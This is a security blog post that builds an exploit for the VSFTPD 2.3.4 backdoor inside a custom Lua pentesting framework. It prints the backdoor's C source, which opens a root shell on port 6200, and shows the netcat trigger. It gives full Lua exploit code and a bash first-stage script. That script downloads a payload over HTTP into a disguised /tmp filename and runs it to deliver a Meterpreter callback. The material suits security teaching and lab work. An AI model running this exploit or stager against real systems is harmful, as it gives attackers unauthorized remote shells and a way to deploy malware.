Nov 10, 2024 | research

Exploit VSFTPD

Farina

Hacker

Introduction

When working with pentesting, it's common to use frameworks that automate certain processes, such as reconnaissance, exploitation, or both. Many of these tools adopt a modular approach that allows the creation of definitions on demand. This way, developers don’t need to update the tool every time a vulnerability detection or exploitation is added to the tool's repertoire; they can simply add the definitions using a common scripting language or a custom language.

I find pentesting frameworks interesting, and I’ve probably spent more time analyzing their behavior than actually using them. Eventually, I decided to create a proof of concept, a simple but quite capable modular framework.

This text shows the creation of an exploit for the custom framework based on the backdoor in VSFTPD 2.3.4. This backdoor is almost always used in tutorials and lessons about some security topics, whether it's about operating system-level command injection vulnerabilities or exploits in general, explaining what they are and how to use them. So, it's something very simple and well-referenced.

VSFTPD Backdoor

Between June 30 and July 1, 2011, a backdoor was introduced in the Very Secure FTP Daemon (VSFTPD) FTP software. This malicious code, detected fairly quickly, was capable of responding to a TCP connection with a shell, giving remote administrative access to the system.

Below is the backdoor code:

int
str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
{
  static struct mystr s_curr_line_str;
  unsigned int pos = 0;
  while (str_getline(p_str, &s_curr_line_str, &pos))
  {
    if (str_equal(&s_curr_line_str, p_line_str))
    {
      return 1;
    }
    else if((p_str->p_buf[i]==0x3a)
    && (p_str->p_buf[i+1]==0x29))
    {
       vsf_sysutil_extra();
    }
  }
  return 0;
}

The function checks if a string p_str contains a line p_line_str. The condition within the while loop will, for each iteration, store the current line in p_str into the memory space allocated for s_curr_line_str.

Inside, there are two conditions. The first checks if the line matches the specified pattern, and the second, in the else if, checks for the :) sequence (ASCII values 0x3a and 0x29) in the string.

If the sequence exists in the line, the execution flow proceeds to the vsf_sysutil_extra function.

int
vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1);
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  {
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0);
  }
}

This function creates a basic shell. It starts by creating a socket to listen on port 6200. Once a user connects, the file descriptors are synchronized with the connection’s file descriptor, and the user can execute commands.

The process is very simple. Now, we can use a "raw" connection to activate the shell.

First, authenticate with the FTP service. As seen in the code, the backdoor is activated by sending the 0x3a29 (;)) pattern.

└─$ nc x.x.x.x 21
220 Welcome to Windows FTP.
USER any:)
331 Please specify the password.
PASS any

Now, after waiting ~1 second, you can connect to port 6200 and gain access to the /bin/sh process.

Creating the Exploit

Venera is a tool designed to be self-sufficient. It already provides the necessary libraries for most processes, such as creating scripts that depend on an HTTP protocol implementation, lower-level tasks like TCP, database connections, etc. If you need to implement another dependency, a function, structure, or library, it can be created in Golang and exported for use within the script in Lua.

First, import the dependencies. For now, just the TCP protocol implementation.

local tcp = require("tcp")

Within the Main function, we implement the socket creation to connect to the FTP service.

function Main()
    local host = VARS.RHOST.VALUE .. ":" .. VARS.RPORT.VALUE
    local socket, err = tcp.open(host)
    if not socket then
        return
    end

    local aux = connect_ftp(socket, "badvnr:)", "badvnr")
    if aux == 1 then
        return
    end

For all processes, error checking needs to be implemented.

The variable VARS.RHOST.VALUE returns the remote host from the VARS structure, and the same applies to RPORT.

The FTP authentication function is simple, just replicating the process shown with netcat.

function connect_ftp(socket, user, passwd)
    local res, err = socket:read(128)
    if err then
        return 1
    end

    err = socket:write("USER " .. user .. "\\r\\n")
    if err then
        return 1
    end

    local resUser, err = socket:read(128)
    if err then
        return 1
    end

    err = socket:write("PASS " .. passwd .. "\\r\\n")
    if err then
        return 1
    end
    return 0
end

In the code above, a buffer of only 128 bytes is created since it's not expected that more data will be returned to exceed this limit.

If the FTP connection is successful and the function returns 0 in the aux variable, it's possible to proceed with tests on port 6200.

    local aux = connect_ftp(socket, "badvnr:)", "badvnr")
    if aux == 1 then
        return
    end

    time.sleep(1.5)
    local shellSock, err = tcp.open(VARS.RHOST.VALUE .. ":6200")
    if not shellSock then
        return
    else
        connect_shell(shellSock)
        shellSock:close()
    end
    socket:close()

The use of the sleep function requires importing the time library. The socket is created with a connection to the target port, and the flow passes to the function that exploits the backdoor.

function connect_shell(socket)
    local err = socket:write("echo $((47*33))\\n")
    if err then error(err) end

    local resMath, err = socket:read(64)
    if err then error(err) end
    if resMath == "1551\\n" then
        PrintInfo("Success!\\n")
    else
        PrintErr("No Response!\\n")
        return
    end
end

As an evaluation, a simple test is performed with a mathematical expression, which should return 1551. In case of success, more commands can be executed or a message can be shown indicating the flaw.

For the final script, available in Venera’s package manager, I added debugging messages for the user and more validations. Here’s the result:

The use command, with a script as an argument, runs the Init function of that script. This function typically loads the metadata tables. Use a script from the test folder or the documentation to guide you through this part of the code.

The options command shows the available options and parameters for configuring the script. As I had already configured the RHOST in the global variables, this parameter was automatically set during script loading.

(variable configuration is case-sensitive in version 1.02 or earlier. If only version 1.02 is available for download, and you want the latest version, compile the main branch)

The run command executes the script's Main function. As defined, it starts the processes for testing and exploitation.

Running a Meterpreter Payload on the Target

Now that the exploit is working, I wanted to create some integration, even a simple one, with a C2 framework. Initially, I tried doing this process with Sliver, but since the payload was too large, the upload caused errors, so I used Meterpreter instead.

The first step is to create a mechanism to download the payload from a URL and execute it. Since we don’t know much about the environment where this will be injected, it’s best to use the most common tools possible. Normally, builds don’t have wget, so this could be a point for improvement.

The following script works as a first stage.

#!/bin/bash
function n() {
    P=/tmp/systemd-private-82194723-ModemManager.service;
    URL=http://0.0.0.0:8000/script.js;
    wget $URL -q -O $P && chmod +x $P && $P;
}
n

This code will be encoded in base64 and sent to the server. After downloading, the payload should be executed with nohup, so the process will already be in the background.

The final script works as follows: an HTTP service is needed to respond with the payload.

As you can see, I ran it twice. The first time had already worked, but it was taking a while for the callback in Metasploit. But in the end, the connection was established.

References

Support us

Hacking Force is a community focused on spreading knowledge about technology and cyber security, offering a way for people to rise. We are grateful for being supported by people with the same point of view. If you indentify with it, then consider joining us.

contact@hackingforce.com.br

Principal Sponsors

nowcy

Blog Hacking Force © 2024